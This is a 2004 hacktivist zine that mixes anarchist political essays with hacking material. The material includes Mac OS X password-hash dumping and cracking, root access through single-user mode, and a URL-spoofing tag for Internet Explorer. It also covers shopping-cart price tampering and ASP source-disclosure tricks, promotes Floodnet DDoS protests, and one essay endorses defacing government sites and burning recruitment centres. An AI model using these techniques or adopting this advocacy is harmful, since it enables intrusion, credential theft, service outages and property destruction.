Hack This Zine! Summer 2004
electronic civil disobedience journal
DISTRIBUTE ME WILDLY!
This community publication is entirely free to own and free to share. We
only can afford to publish a limited amount of copies. We count on people
to pass the zine on to friends, local computer stores, hacker groups, 2600
meetings, libraries, bookstores, newstands, etc. Remember, you’re a part of
this movement - help spread the word!
HOW TO GET ADDITIONAL COPIES
Copies are available from Unbound Books internet/mail order distribution:
$5 for one zine. Check unboundbooks.org for ordering information. Special
bulk pricing is also available for all who want to help distribute the zine.
Email webmaster@hulla-balloo.com for custom pricing, please describe
your intent, area of distribution, and desired quantity. International orders,
check the zine website for local contacts who can ship to your area.
Please include your address, comments, and cash/money order to cover
production / postage costs. Or you can paypal us at webmaster@hulla-balloo.
com. More details, check out: http://www.hackthissite.org/zine/
GET INVOLVED WITH HACK THIS SITE!
WWW: http://www.hackthissite.org
CHAT(IRC): irc.hackthissite.org / irc.mattburdine.com #hackthissite
Use a web-based java irc client at hackthissite.org/irc/
Email(can’t always respond - but we do read!)
zine@hackthissite.org - zine related concerns
hack@hackthissite.org - site / organization related
webmaster@hulla-balloo.com - criminal mastermind
Meetings are held in IRC every few weeks
PARTICIPANTS
HTS STAFF:
Xec96
ReDucTor
DarkOneWithANeed
spiffomatic64
The_Anarchist
Sanjuro
OutThere
Darksider
kleinnico
SavageTiger
weekend hacker
soulsyphon
IceShaman
blakhawkftp
Shox2daShox
BIG
ikari
WolfSage
mraellis
psyche
MrBrett
Wyrmkill
bigpy2003
buz
ZINE TEAM:
Xec96
Pantalaimon996
blakhawkftp19
Daemon13
SUBMISSIONS
DragonMaw
RaH
Xec96
psyche
Fetus
Trojan
plastek
ikari
ReDucTor
EDITING
Fetus
arun
Peter Wortz
caliginouschild
ELECTRONIC COPIES OF
HACK THIS ZINE
While we charge for physical copies
of the zine to cover production costs,
we believe that all information should
be free. Electronic copies of HTZ are
available in PDF and TXT form online.
Please distribute wildly to friends, local
computer and hacker user groups,
libraries, bookstores, etc.
hackthissite.org/zine/HTZ1.txt
hackthissite.org/zine/HTZ1.pdf
HTZ OPEN SUBMISSIONS!
Hack This Zine is open to all submissions
of any sort - articles, pictures,
cartoons, hacks, ideas, whatever you
think would be appropriate. We cannot
publish everything but we certainly look
everything over. If you get something
printed, we’ll send you a free zine! Send
everything to zine@hackthissite.org.
HACK THIS SITE
COLLECTIVE
HTS is a volunteer project run by the
Hack This Site collective. We operate
using a directly democratic decision
making process without any authoritative
hierarchy. We engage in open
meetings over IRC where all users are
invited to participate.
For more information about how this
project is structured, please see the
HTS Project Organizing Guide at:
hackthissite.org/info/organize.php
hackthissite.org/info/organize.pdf
Hack This Zine?
Most people familiar with Hack This Site might be a
bit confused. A magazine? I thought HTS was about
wargames and security challenges. Yes, but over the
past year we’ve experienced so much more with the development
of the IRC server, user-submitted articles and
resources, forums, and the internal staff structure. We’ve
become a living community with many on-going projects
managed by active users sharing their experiences with
others. It has become necessary to begin publishing a
magazine to explore the hacking scene. The movement
we were building has more social signifi cance than a
mere training ground.
Activism? I thought this was a hacking zine...
Purely hacker zines have been done to death thousands
of times, never making any impact in the status
quo by shaping culture or politics. Instead of reinventing
the wheel and competing with other larger distros by
merely keeping up with the latest tech news, we’re going
to be discussing the practical usage of hacking skills as
a means to fi ght for social justice. Considering today’s
political climate, it is becoming increasingly imperative
that we tune in to the world around us, to take a stance,
and give a fuck.
It is foolish and destructive to expand one’s hacking skills
without the development of social awareness, knowledge
of current events, and political ideology. Our intention is
not merely to raise technical consciousness, but social
and political as well. We intend to keep up with the latest
hacktivist news - updates on electronic civil disobedience
campaigns, the latest threats of cyber tyranny against
our civil rights, and ways people can get involved in the
digital freedom movement.
The New World Order
Nonstop cycles of fear, consumption and wage-slavery.
We are pumped full of fear-mongering propaganda so
that we willingly submit ourselves to the State’s oppression
- giving them free reign to systematically destroy
our freedoms and bring about a new age of big brother
well beyond the imagination of George Orwell. Initiatives
like Total Information Awareness, the USA PATRIOT Act,
Operation TIPS, email monitoring systems, the Offi ce of
Homeland Security, RFID product codes, and the continuous
attempts to tap and monitor all mediums of communication
make it clear of the establishment’s intent to
transform our society into one where our every thought
and movement is closely monitored and calculated to
see whether we are a threat to their cold, sterile dream
of law and order.
There’s a fucking war on!
We are kept under tight control and surveillance so that
the military industrial complex can continue to manufacture
bullshit pretexts for fake wars all for the profi t of the
rich ruling classes The Bush administration has made a
killing in privatizing Iraq’s oil resources(Halliburton), reconstruction
efforts(Bechtel), and otherwise allowing his
corporate buddies to loot Iraq for all it’s worth. For weapons
of mass deception and no ties to Al-Qaeda or 9/11.
Are we any safer from terrorist attacks? Every friend and
family member of the tens of thousands of innocent civilians
that died in Iraq are now looking at ways of getting
back at the U.S. The utter hypocrisy of the war on terror...
we have killed several times more people that have died
on 9/11. Pre-emptive war is state-sponsored terrorism.
Carpet bombing cannot address the complex social and
political factors that actually create anti-american terrorism
- in fact, it feeds it.
We are building an international movement to defend the
rights of all people to self-determination from the ruling
classes of nations worldwide. We want neither Bush,
nor Saddam, nor Blair. Together we can organize in an
open and equal basis and build our own societies free of
authoritative power structures and parasitic bosses and
rulers.
The Digital Freedom Movement
While the madness of the State is spiralling towards self
destruction, we’ve built our own communities based on
the open spirit of free access to all information. Open
source programming has successfully developed some
of the best softwares, operating systems, and mediums
of communication - all free to own and free to share, independent
of authoritative power structures. It is a practical
application of anarchist organizing principles.
It is of little surprise that our movement is under attack
by large capitalists like Microsoft, SCO, and the record
industry. Because our software is free to own and free
to share, their monopoly over computing and media industries
is threatened because they cannot compete with
their bloated, obsolete and expensive systems. Rather
than finding ways of integrating these fantastic services
into our society, corporations will go to any length to cling
to their outdated models of profit and exploitation. We
need to directly to the heart of the matter: we are under
attack, and we have to equip ourselves to fight back.
It’s one attack, one struggle.
All of these injustices are not unrelated. These struggles
are linked, and everything is connected. It’s the system!
From the presidents that bring the people to war, to the
cops that beat protesters, to the bully on the playground
stealing lunch money, it is becoming glaringly obvious
that we cannot trust figures of authority. It’s up to us to
organize on a cooperative, anti-authoritarian basis and
build our own free societies on the ashes of the old.
We don’t have a lot of time left. Whether it be the madness
of the warring nations, or the destruction of the environment,
or the depletion of natural resources... we are
simply consuming, reproducing, and expanding too fast
for our finite ecosystem to support us. Every species has
a carrying capacity. We are rapidly approaching ours.
This isn’t a call for pessimism, but rather the fantastic
potential that we have the ability to create dissent, rise
up and put direct pressure on those responsible for this
madness. Now that everything depends on complex networks
of communication and the internet, hackers are
in a unique position to mobilize their skills to fight for
change.
Hacking as a tool to fight for social justice?
The practical application of hacking skills to fight for freedom
is a beautiful act of justice and liberation. If the Nazi
military utilized computer networks to coordinate troop
movements, hackers could have thrown their war machine
into disarray. If corporations and governments are
out of line today, it’s up to cowboys of the electronic age
to turn over the system and put the people on top. Electronic
civil disobedience, modern day Robin Hood, cyber
activism, hacktivists!
Circumvent corporate media - Do It Yourself!
The forces that be are allowed to get away with murder
because they own most channels of communication. The
Clearchannel Coporation owns 1225 radio stations and
37 television stations. They are in the top 248 of the top
250 radio markets. Television, news and radio networks
are largely dominated if not monopolized by these large
corporations who have vested financial interests in supporting
government, war, and international neo-liberal
trade organizations. They fill us with their lies and distortions
and turn us into unthinking, unquestioning followers
of the establishment. Even in this age of internet enlightenment,
hackers are portrayed as cyberterrorists.
At the center of Hack This Site is the drive to DO IT
YOURSELF! Turn off that television, unplug yourself
from their system, and make your own media! Underground
literature will not sugar coat the news fit for your
unthinking consumption - we tell the uncensored truth,
explore controversy, create a platform for the free exchange
of ideas, and don’t patronize our readers by
sugar coating raw information.
Hack This Site!
Hack This Site is a training ground for people to gain
the skills and join the movement for digital freedom. We
facilitate a free, open learning environment where hackers
can test and expand their skills in a realistic and
legal environment Everyone should have access to all
information, resources, and the opportunity to fulfill one’s
potentials. Of course, providing such resources requires
great responsibility to see that these skills are used for
positive ends. We present the usage of hacking skills as
a means to fight for social justice as a positive alternative
to mindless destructive black hatting. We’re building an
army so powerful we won’t need weapons. Our revolution
will require not bullets or casualties, but the curious
drive of a politically motivated generation of hackers who
know how to shift data around in the right direction.
Hackivists of the World, UNITE!
Floodnet: Power to the People! by Trojan
In our modern age of internet enlightenment, new
and innovative forms of protest are emerging
on the web. One tool spearheading the protest
movement is Floodnet. Floodnet is a java applet
refreshing a selected page every seven seconds.
Alone this have no real purpose, but when hundreds
or even thousands of floodnet users connect
to a page, the surge in traffic easily can crash
a server. Many Major attacks have already been
utilized including one on the Pentagon.
The program is genius in its simplicity. This strikes
fear into the hearts of companies. The idea that
thousands across the world can easily be armed
for virtual warfare strikes a deep chord within
them.
“Strength in numbers” as they say. I was recently
told of one account in which the eCommerce site
“Etoys” sued a smaller website, and floodnet community
member “Etoy”, claiming that etoy simply
desired traffic from typos of the word “Etoys.com”.
The members of the Electronic Disturbance Theatre
(The Originators of Floodnet) threatened to
hold a “Twelve days of Christmas” strike to bring
etoys stock to zero. Needless to say, etoys backed
down, and even payed for etoy’s court costs.
What could be scarier to a company? They may
be used to having people hate them, but the
idea of thousands that can strike back? So much
power in the hands of the commoners? Floodnet
allows for this.
“Only art history still knows that the famed geniuses
of the Renaissance did not just create
paintings and buildings, but calculated fortresses
and constructed war machines. If the phantasm of
all Information Warfare, to reduce war to software
and its forms of death to operating system crashes,
were to come true, lonesome hackers would
take the place of the historic artist-engineers.” -
Frederich Kittler
Strength in numbers indeed.
MORE ON ELECTRONIC CIVIL DISOBEDIENCE:
Electronic Disturbance Theatre
thing.net/~rdom/ecd/ZapTact.html
Electro Hippie Collective
fraw.org.uk/ehippies/tools.shtml
The Hacktivist
http://www.thehacktivist.com/
The Federation of Random Action
http://www.this.is/etoytech/fra/
Electronic Product Code / RFID:
New meaning to Big Brother
Attacks on civil liberties and the Orwellian transformation
of our country are not new concepts to
those who have not been living under a rock for
the past few years. We have legislation like the
USA PATRIOT Act that gives unprecedented police
state powers to law enforcement and government.
We have government spy agencies such as Total
Information Awareness (now named ‘terrorist information
awareness’) that watches our credit card
purchases, what library books we check out, websites
we visited, and where we travel. The Office of
Homeland Security, Carnivore, Echelon, Operation
TIPS, etc. But many people are relatively unaware
of a new technology that when introduced to the
mainstream will set new precendents to the survellience
powers of corporations and governments.
Over the next few years, the old UPC barcodes of
times past will be replaced by the new Electronic
Product Code (EPC). This new system implements
a technology known as Radio Frequency Identification
(RFID). They are mini chips that transmit radio
waves that contain unique identifying information.
These transmissions are picked up by nearby base
stations which logs the time and location. Unlike
the UPC, these new EPC chips contain a unique
code for each individual instance of a product instead
of just what type of product. This means they
will be able to track where your individual product
is at any time.
The EPC will make its appearance in the mainstream
quicker then you might imagine. By 2005,
every product sold at Walmart will contain these
RFID tracking chips. Some corporations are already
using these chips(Gilette). Eventually, the
UPC will be phased out completely and most consumer
products will carry these chips. On your
watch, your shoes, your and you won’t be able to
buy something more expensive than a snickers bar
that doesn’t have an EPC chip. The European Union is
even considering using this chips on cash (removing the
anonymous quality desired by undergrond revolutionary
hackers who do not trust the banks and credit card
corporations - and rightfully so!)
Corporations say that these chips will be used to
gather marketing information by monitoring what
stores you shop at, where you live, and to prevent
shoplifters. There is no current legislation about the
placement of these chips or it’s use - products containing
RFID do not need to be marked or disabled
as they leave the store.
It is not hard to understand the immense threat to
our civil liberties that this new technology presents.
Since they are already able to connect purchased
products to the credit card information in your
name, there is no end to the amount of information
they will have. We are not far off from a world
where we can be tracked wherever we go from
little chips embedded into our clothes, shoes, and
watches. A world where governments and corporations
know what shops we visit, what products we
have in our homes, and what we’re carrying on us
at any given time. It sounds surreal, but these are
crazy times...
The RFID chips themselves can be disabled rather
easily - but their strength is in their relatively inexpensive
price to produce and the ability for these
chips to be rather obscurely hidden within consumer
products. What needs to be explored is the
servers and data capturing networks that log the
movement of these chips. Such systems would
be very attractive targets for hackers fighting cyber
tyranny. Also, there needs to be new devices
that can produce a counter effect to the RFID chip.
It is up to the us, the people, to counteract these
malcious intrusions. This will become increasingly
imperative as years pass by and RFID becomes
tightly intertwined with American consumer culture:
where we will not be able to live our lives without
these chips watching our every move.
More reading about RFID / EPC:
http://news.com.com/2010-1069-980325.html
http://www.spychips.com
http://www.caspian.com
Hack This Zine summer release
Our first hacktivist magazine is published! 24 pages
of the latest updates in electronic civil disobedience
campaigns, exploits, activism, and more.
Available in PDF, TXT, HTML and in print by mail
via Unbound Books distribution collective. We
are launching an international campaign of distribution:
people are encouraged to distribute as
many copies as widely as possible to local libraries,
hacker meetings, infoshops, computer user
groups, etc. We are looking for people to help redistribute
copies in their
HOPE Hacker Convention
Jule 9-11 | NYC | the-fifth-hope.org
DEFCON 12 Hacker Convention
July 31-Aug 1 | Las Vegas | defcon.org
DNSCon network security council
August 13-15 | Blackpool, UK / dnscon.org
HTS is planning on having a presence at the
DEFCON 12 / HOPE / DNSCON hacker conventions.
We’re setting up a booth to distribute HTS
pamphlets, sell copies of the zine, and set up
systems where people can play the challenges.
All are invited to come chill with the developers
of HTS. We are also planning on getting a hotel
room where we can get together as many HTS
people as possible to go on all sorts of crazy adventures.
CrimethInc National Convergence
Aug 20-Aug 26 | Des Moines, Iowa | crimethinc.com |
bestplaceever.com/crimethinc/
All are invited for a weeklong anarchist training
session. There will be radical video showings,
direct action training, organizing workshops as
well as other mischief and mayhem. Immediately
afterwards all will be travelling to particpate in the
actions against the Republican National Convention
in NYC.
Republican National Convention
Aug 29-Sept 4 | NYC | rncnotwelcome.org
The RNC is being held in New York City in an attempt
to capitalize off of the fears and emotions
surrounding the 9/11 terrorist attacks. George W.
Bush will be nominated as the presidential candidate
of the Republican Party. Hundreds of thousands
will descend upon the city to see that the
event ends in total failure. Groups are also organizing
an electronic civil disobedience campaign
against a variety of right-wing and corporate websites.
All are encouraged to help protest in any
way they can.
Fundamentals of Mac OS X Security
Hardly considered hacking at all, these tips are
required security basics when using Mac OS X.
If you have access to the command line in Mac
OS X under any user, you can get NetInfo to dump
passwd information to stdout with the following
command: ‘nidump passwd .’ DES-encrypted
passwords are dumped to stdout. You can run this
through any standard UNIX password cracker like
John The Ripper(also available for Mac OS X at
openwall.com/john).
Another way of gaining root is to sudo su root
it - allowing you access to a root prompt only by
knowing an administrator account(which can be
retreived through nidump). You can also reset the
administrator password by booting from a Mac
OS X install cd.
If you have physical access to the machine, try
restarting and holding Command + S - this will
boot into ‘Single User Mode’, which is essentially
a root shell. Note that you will not be able to dump
the passwd database until you load the NetInfo
Database, which you can do so by runnng /sbin/
SystemStarter.
If you’ve got shell access, there’s all sorts of fun
things you can do. Personally, I like Mac OS X’s
built-in speech engine used in conjunction with
osascript, a command line AppleScript interpreter.
Try executing this:
[local:~] xec96% osascript -e ‘say “you are being
watched”’
Assuming they have the volume turned up at a
reasonable volume(you can set system volume
by doing XXXXXXX), this will cause their computer
to physically speak the given parameter. This
can provide an endless supply of amusement, especially
if you are near enough as to hear the target
have entire conversations with their machine.
Since you have access to AppleScript’s entire array
of neato system functions, there are other fun
things to do as well.
• Open browser to a specified website
[local:~] xec96% osascript -e ‘open location
“http://www.larrycarlson.com/the_end”’
• Control iTunes and play music
[local:~] xec96% osascript -e ‘tell application
“iTunes”’ -e ‘next track’ -e “end tell” (also in place
of ‘next track’, try ‘previous track’, ‘pause’, ‘play’,
and ‘open “Macintosh HD:something.mp3”’)
• Open all apps at once(essentially freezing)
[local:~] xec96% open /applications/*
Fundamentals of Mac OS X Security
[local:~] xec96% nidump passwd .
root:gRhAAGQx4AoKk:0:0::0:0:System Administrator:/var/root:/bin/tcsh
xec96:Kh79zSBCAZos6:501:20::0:0:Jeremy Hammond:/Users/xec96:/bin/tcsh
Hacktivists Deface DARE.com in Act of Electronic Civil Disobedience
republished from http://la.indymedia.org/news/2004/02/104143.php
Hackers have targeted DARE.com in political protest
of the criminalization of marijuana, the hypocrisy of
the war on drugs, and the indoctrination of today’s
youth through the DARE program.
“The establishment continues to ignore the positive
psychological benefits of mind altering chemicals
are used responsibly for the personal exploration of
consciousness. Marijuana, both harmless to society
and ourselves, is not the problem. Marijuana laws
are the problem. Millions of innocent people are
unjustly imprisoned while corporate criminals and
war mongers are trusted to the highest positions of
our government.”
The website was defaced on Feb 29, 2004 with
pro-legalization messages, criticisms of the
DARE program, justifications for electronic civil
disobedience, and links to dozens of websites where
people can learn about the legalization movement,
mind-expanding chemicals, political activism, and
more.
The hackers have done no permanent damage to
the systems, or released any sort of confidential
data - in fact, the hackers actually fixed the security
holes to combat the media stereotype that hackers
are malicious and destructive with a loose sense of
social ethics.
“We aren’t malicious, destructive, or have a loose
sense of ethics like the government, corporate media,
or right-wing maniacs would like to spin it. Those who
open-minded and curious enough to do the research
and actually try to understand us will realize that we
have a highly refined sense of social ethics, more
than the machinery of the state will ever have.”
The hackers have also posted a flyer to help build for
the demonstrations against the Republican National
Convention on August 29. rncnotwelcome.org
Hacktivists Deface DARE.com in Act of Electronic Civil Disobedience
republished from http://la.indymedia.org/news/2004/02/104143.php
Note from HTS staff: we are not defending the actions of the
actions of the hackers who attacked DARE.com, but it is a
welcome change of pace to see a defacement that actually
made serious political points without causing any damage.
This is why we chose to feature this defacement in our zine.
All too often hackers step up on the soapbox and deface a
major website and leave some lame message like ‘I h4x0r3d
j00! c0nik was here - get more secure!’ If you are going to
take the time and risk breaking the law, then at least have
something significant to say.
Miami Police Riot as the
Rich Hide Behind Fences
On Thursday, November 20 2003, governments and the ultra-rich held the
Free Trade Area of the Americas ministerial in Miami, Florida. The FTAA is a
trade agreement that decides the economic fate for 800 million people. Those
working on advancing the FTAA are seeking to create a “free-trade” block to
encompass all of North and South America (minus Cuba). This is being done
with absolutely no citizen input and has no chance to ever be ratified by the
people it governs.
In the days before, the ultra-rich and government officials mingled in the
American Business Forum to craft a plan for the FTAA, and one that was
eventually accepted. The rich and powerful were frightened though, so much
that they constructed a massive “anarchist-proof” fence surrounding a large
part of downtown Miami for the upcoming protests. Also, over 3000 police
were on duty, hired security for the interests of the upper class. Armed to the
teeth with rubber bullets, pepper spray, tasers, taser shields, tear gas, batons,
full riot gear, shields, armored personnel carriers, blackhawk helicopters, and
more, they turned Miami into a militarized police state in the days leading up
to the event. Over 32 law enforcement agencies participated in the effort- on
the streets there were everything from armed and deputized private security
contractors to Miami PD and even the Department of Homeland Security. 8.5
million federal taxpayer dollars were spent on police efforts to protect the richest
1% during the meetings. So why did the government decide to turn Miami,
amerika’s poorest large urban center, into a complete police state to protect
these scumbags?
Well, they say it was because of anarchists...
In the months leading up to the ministerial, people from all over the hemisphere
were planning on making their way to Miami on November 20. All sorts
of people mobilized for the Miami demonstration - Union workers, Students,
Farmers, Indigenous Peoples, Anarchists, Communists, and Religious groups.
The governments of the amerikas have routinely used military-style police
force to violently silence the voices and intentions of the people during these
demonstrations. To justify their fascist behavior, they repeatedly claim that a
group of “hard-core anarchists” come to destroy everything in the city and
cause mayhem in the streets. This lie is pushed through the televisions, newspapers,
and by police harassment of communities. By the time the demonstrations
come around, there is a media blackout on anything except for the sensationalized
police spin. The whole idea of “anarchists causing chaos” is actually
a fabricated historical argument, used since the 1800’s by the state and the
rich to discredit the motives and smear the name of anarchists. Anybody who
can open their eyes knows that the FTAA is true violence, that the police and
the governments that sponsor them are the true violence, and most of the
violence in the world is caused by them. Anarchists want to trade that violence
for peace and justice for all of humanity, not just the rich and powerful.
So what happened?
The protests started with the Root Cause march beginning 34 miles awaymarching
one mile for every country involved with the FTAA. The Root Cause
march involved many folks who are currently engaged in struggles against the
effects of neoliberal capitalism- the Coalition of Immokalee Workers, Miami
Workers Center, Power U Center for Social Change, Low-Income Families
Fighting Together, and the Free Carnival Area of the Americas. On Thursday,
November 20 was the main day of demonstration. Early morning saw a few
arrests from the more confrontational Direct Action marches. The largest
permitted rally was the AFL-CIO march, where thousands were corralled and
humiliated by police. While this march was filing into the Bayfront ampitheatre
around 4 P.M., a group of nearly 1000 people were dancing and milling about
near a police line. With no provocation, the police started firing rubber bullets,
pepper spray, pepper spray bullets, tear gas, and other projectiles into the
crowd. As the elderly, workers, students, and immigrants who couldn’t get
arrested started retreating, another police line blocked one of the two possible
exit routes- channeling people into downtown Miami
and eventually into a poor black neighborhood called
Overtown. Militant protestors constructed makeshift barricades
and put their bodies in front of the crowd. They
also defended the crowd fiercely, with slingshots, smoke
bombs, chunks of concrete, and quick maneuvering to
outpace the slow riot-gear clad stormtroopers. These
tactics prevented a mass arrest from happening- the
police scanners were reporting that they were trying to
surround the large group but couldn’t because of it’s
quickness. At the end of the day, there were about 50
arrests. Later that night word got out that a “FTAA-lite”
was drafted on Thursday.
The next day, hundreds of people went to the jail to
show support to their fallen comrades, and the legal
demonstration was surrounded by police as people were
beaten, pepper sprayed, and thrown in prison- even
though the crowd remained completely peaceful. The
legal defense team has confirmed that there were 4
instances of sexual assault upon prisoners and at least 6
cases of physical torture in jails- ranging from the police
and guards pepper-spraying inmates, beating inmates
bloody, and hosing naked inmates down with freezing
water in cold cells. At least 2 people were sent to the
hospital for head wounds, not counting the hundreds
that were treated by volunteer medics in the streets for
exposure to tear gas, pepper spray, baton blows, rubber
bullets, etc. Police actions have prompted the AFL-CIO,
United Steelworkers of America, and the Alliance for
Retired Americans to call for a congressional investigation
of the police efforts for Miami.
Free Trade = Slave Trade
The FTAA is part of a plan that started with the implementation
of North American Free Trade Agreement
on January 1st, 1994. NAFTA has caused hundreds of
thousands of high-paying jobs in the U.S. to be shifted to
sweatshop areas (often called “maquiladora zones”) in
Mexico and other places. Using NAFTA rules, Metalclad
(a US corporation) sued Mexico because a poor community
didn’t want Metalclad’s toxic waste dumped near
them. They won and Metalclad got $16 million from the
case. Canada banned a gasoline additive called MMT
because it was highly toxic to humans, and using NAFTA
rules, Ethyl Corporation forced Canada to drop the ban
and pay them money because the law was “unfair”.
NAFTA has literally run over democracy in communities
all over North Amerika in the interest of profits. One of
the main components of economic globalization is the
idea that “business has a right to make a profit”. Put
simply, this means that making a profit is more important
than life, democracy, or justice. The goals of these
agreements are to make it easy for corporations to strike
down regulations like clean air and water laws, minimum
wage laws, worker safety laws, and others. The whole
process is undemocratic, with secret meetings and “fast
track legislation” that prevents congress from ratifying
trade agreements.
The FTAA seeks to extend NAFTA to include all of North,
South, and Central Amerika, minus Cuba. If they cannot
do this through the FTAA, they will do it piece by piece
through regional trade agreements like the Central
American Free Trade Agreement. CAFTA is set to be
finished by this year and has the same vision as NAFTA
and the FTAA. These trade agreements contain different
plans, such as Plan Puebla Panama. PPP’s aim is to
destroy rainforests, displace indigenous communities,
and build a sweatshop superhighway through Cental
Amerika and Mexico leading into the United States.
Here, the workers will be paid dirt wages to make products
for US corporations, the products will be shipped
north and sold in amerika at inflated prices- once again
making insane profits for the rich who control the corporations
at the expense of the working poor.
Viva Resistencia!
Neoliberal globalization agreements have caused global
unrest since they were conceived. When NAFTA was
first implemented, indigenous communities led a rebellion
from the Lacandon jungle in the state of Chiapas,
Mexico.
In 2000, neoliberal policies caused Bolivia to sell its
water system to Becthel Corporation. Thousands of
people took the streets and forced the government to
end the deal. In Quebec in 2001, thousands of people
fought running street battles with vicious police that
tried stifling dissent. Over 4000 canisters of tear gas
were dispensed-some of which disrupted the meeting’s
activities. This is not to mention many other international
demonstrations and uprisings against other gears in the
machine of global capitalism- institutions like the World
Trade Organization, the International Monetary Fund
and World Bank, World Economic Forum, Trans-Atlantic
Business Dialogue, and Group of 8. The G8 is meeting
this June in Sea Island, Georgia.
More information at:
ftaaimc.org / infoshop.org / indymedia.org / midwestunrest.net /
globalexchange.org/campaigns/ftaa/.
Fuck the Draft
Preperations are being made to bring back mandantory
military service within the United States. Proposed legislation
entitled the Universal National Service Act of 2003
would “provide for the common defense by requiring that
all young persons [age 18--26] in the United States, including
women, perform a period of military service or a
period of civilian service in furtherance of the national defense
and homeland security, and for other purposes,”.
Women would not be exempt from being drafted, and
college students would be brought in upon completion of
their current semester.
The bill currently sits in congress while the Selective Service
System with an additional $28 million is in preperations
for the draft. The SSS is expected to present to the
Bush administration on March 31, 2005 that the system
is ready to handle the draft. If the legislation passes, the
draft could start as soon as June 15, 2005 - after the
elections.
At the moment most military officials and politicians are
denying the need for a draft at this point in time. But the
occupation of Iraq is getting worse and worse every day
and there is no indication that we will be pulling troops
out anytime soon. Bush’s perpetual ‘war against terrorism’
might last decades and decades, and new wars will
require new cannon fodder.
While most of the madness of the war on terror was
brought about by Bush and the Republicans, it is interesting
to note that the draft legislation was proposed
by democrats. Even if we do manage to get
Bush out of office we will still be “staying the course” in
Iraq and the war on terrorism; considering that the Vietnam
war was escalated by Lyndon Johnson. Kerry voted
to support the war in Afghanistan, Iraq, and the USA PATRIOT
Act: don’t be surprised if they bring back the draft
under the Kerry administration.
Realizing that the trend of unjust attacks on our freedoms
will continue under either a democratic or republican
presidency, it will become increasingly necessary
to explore creative tactics of resistance outside the realm
of mere electoral politics. The next several years we will
be witnessing a radical transformation of our society and
the way we live . We can no longer afford to be apathetic.
It’s time to stand up and fight back. Extreme times call
for extreme measures; the fight for freedom and liberation
knows no bounds. Evading the draft, defacing government
websites, and burning recruitment centers, all
of which and more are serious tactics that need to be
considered if we can ever hope to resist and overcome
this injustice.
Bugs in the Wild by Rah
Well my friends, I have finally decided to start writing
this column. After much thought, I was at a
loss as to what to write about as far as “Bugs in
the Wild” go. I mean come on, there are just so
many that I would never be able to list them all
in one article. So taking into careful consideration
a few factors I have compressed the column into
what I believe www.HackThisSite.org users will
benefit from.
Before I begin the actual “meat and potatoes” of
the column, I’d like to take a minute to introduce
myself to everyone. I go by the screenname RaH
on HackThisSite. I have been a user of the site for
around 6 months or more. Hacking has interested
me since I got my first computer 7 years ago.
BLEH! Enough on me, who wants the Bugs?
The bugs I have for you in this edition are by no
means 0day exploits. Anyone who can use a
search engine can find this information out for
himself or herself. All right. Having gotten that out
of the way, allow me to introduce you to our first
“Bug in the Wild”. This bug has been around for
sometime, it is I think a well known exploit dealing
with the way some “Shopping carts” at sites
handle user input. The vulnerability exists in dealing
with hidden form fields. By downloading the
web-page, one is able to alter the price of an item,
change the url then make their purchase for their
altered price and then buy said item. I thought I
would add this one, because in a way it pertains
to a level on HackThisSite.org. I’ll not tell which.
We all know Microsoft is a buggy OS. We all have
had at one time or another the dread “Blue Screen
of Death” lovingly referred to as the B.S.o.D.
There exists many vulnerabilities in the OS itself
and also the applications it comes with. I’ll use
Internet Explorer as my next bug in the wild. To
exploit this rather lame trick, one simply creates
a web page containing a link to another page.
What makes it so special is the fact that once
viewed in IE the address is spoofed to be any site
you want. For this one I’ll include proof of concept
code. By using the tag <a href=”www.snap.
com%01@hackthissite.org>LINK</a> a viewer is
tricked into thinking they are viewing www.snap.
com. When they see the page though, it looks as
if www.HackThisSite.org has been put up in it’s
place. This bug works because of URL handling
compliance. It turns out that because IE is compliant
with present standards this bug occurs. The
%01 is not seen by IE thus everything after it is
hidden from the browser, yet it still gets directed
there. Odd stuff.
The next few are also MS related allowing for remote
code execution by an attacker. NOTE: I will
not post proof of concept code for these. Again
all of these bugs can be found on most security
sites.
In Microsoft VB for applications, there exists a
heap-based buffer overflow condition. When exploited
properly remote code execution is possible.
By using a document with a long ID parameter,
VBE.DLL and VBE6.DLL are vulnerable.
This condition exists currently in SDK 5.0 through
6.3. There exists in IIS 4.0, 5.0, and 5.1 a crosssite
scripting vulnerability in the ASP function that
handles redirection. Which could be used to allow
a remote attacker to embed a URL containing
script in the redirection message.
For my last one, I will do one that I like. There
is no particular reason I like it except to say that
anyone can do it without a script. In ASP pages
you can coerce the server to give up more information
it should by using two extra . after the
asp tag. EX: www.hackthissite.org/rah.asp.. Now
there is a fix for that, but as quickly as they fixed
it a work around was found. By replacing the initial
dot www.hackthissite.org/rah( . )asp with the
%22 or %20 equivalent you are able to recreate
the bug. There is also another one for ASP pages
using ::$DATA EX: www.hackthissite.org/rah.
asp::$DATA can get you some choice info.
Well that about wraps up my column for this issue.
I hope you enjoyed it, and maybe even learned
from it. Remember hacking is a way of life. Should
you get caught, remember these words: “Drop not
the soap”!
OS Wars: Corporate giants stomping
the free software movement by RaH
STOP! Do not read this any further. You are now violating
some type of law! This very well could be the battle cry to
come. You must format your system immediately and then
turn it off.
In a landmark decision, The United States Supreme Court
ruled in favor of the Unix Operating System provider Santa
Cruz Operation or SCO. The SCO group fi led petitions
against several major corporations, the latest target being
Auto Zone. SCO claims that Auto Zone violated the Unix
licensing agreement because it is using a version of Unix
called Linux-an open operating system rapidly growing in
the software industry. In other news SCO dropped its lawsuit
against hardware manufacturer, IBM due to the lack of
evidence. The unanimous vote by the Supreme Court ruled
in favor of SCO. This decision means that all content on the
Internet; including content stored on personal computers,
is owned by SCO. You must uninstall everything from your
computer and never turn it on again.
Though the previous paragraph is fi ctitious, the drama it
portrays is very real. SCO did fi le a lawsuit against Auto
Zone and many other corporate giants. SCO claim that
these companies are using a version of Linux containing
proprietary SCO code. SCO petitioned the courts to have
these software companies searched though the details are
unclear as to what was actually copied from Unix.
In the past, SCO has been a major contributor to the Open
Source community, boasting it as “the way of the future”,
yet they are in court battling over code ownership. Just like
the corporate bully Microsoft, they are battling over money
and profi t. To preserve and patent is their business motto.
The written language has been around for centuries. Yet
no one have tried to copyright individual words. If words
are like functions in a program, then could these words or
code be owned? There are many unique ways of coding
the same function in a program. Copyright claims ought to
be enforced in the overall performance of a program, rather
than the use of functions themselves.
Royalties is where this whole lawsuit lies. An interesting fact
is that Microsoft, one of the world’s leading OS manufacturer
and developer, had arranged to have another corporation
fund SCO in its attacks.
(1) “For months, rumors have swirled around the Web alleging
that Microsoft helped fi nance a small Utah software
company’s suit against IBM and two corporations that use
Linux software. Business Week has learned that Microsoft
did not put up the money, but did play matchmaker for SCO
Group and BayStar Capital, a San Francisco hedge fund
which made a $50 million investment in SCO last October.”
This excerpt is taken from Business Week online. Further
